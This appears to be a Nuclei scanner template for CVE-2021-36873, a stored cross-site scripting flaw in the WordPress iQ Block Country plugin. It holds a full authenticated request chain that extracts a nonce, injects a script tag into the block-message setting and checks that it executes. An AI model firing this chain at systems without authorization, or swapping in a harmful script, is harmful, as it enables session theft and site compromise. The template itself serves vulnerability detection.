72 lines
3.1 KiB
YAML
72 lines
3.1 KiB
YAML
id: CVE-2021-36873
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info:
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name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
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author: theamanrawat
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severity: medium
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description: |
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WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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remediation: |
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Update to the latest version of the WordPress iQ Block Country plugin (>=1.2.12) to mitigate this vulnerability.
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reference:
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- https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
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- https://wordpress.org/plugins/iq-block-country/
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- https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
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- https://nvd.nist.gov/vuln/detail/CVE-2021-36873
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- https://wordpress.org/plugins/iq-block-country/#developers
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-36873
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cwe-id: CWE-79
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epss-score: 0.00131
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epss-percentile: 0.47637
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cpe: cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 4
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vendor: webence
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product: iq_block_country
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framework: wordpress
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tags: cve,wp-plugin,iq-block-country,cve2021,wordpress,wp,xss,authenticated,wpscan
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/options.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
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- |
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GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- contains(header_4, "text/html")
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- status_code_4 == 200
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- contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
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- contains(body_4, '<h3>Block type</h3>')
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condition: and
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extractors:
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- type: regex
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name: nonce
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group: 1
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regex:
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- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
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internal: true
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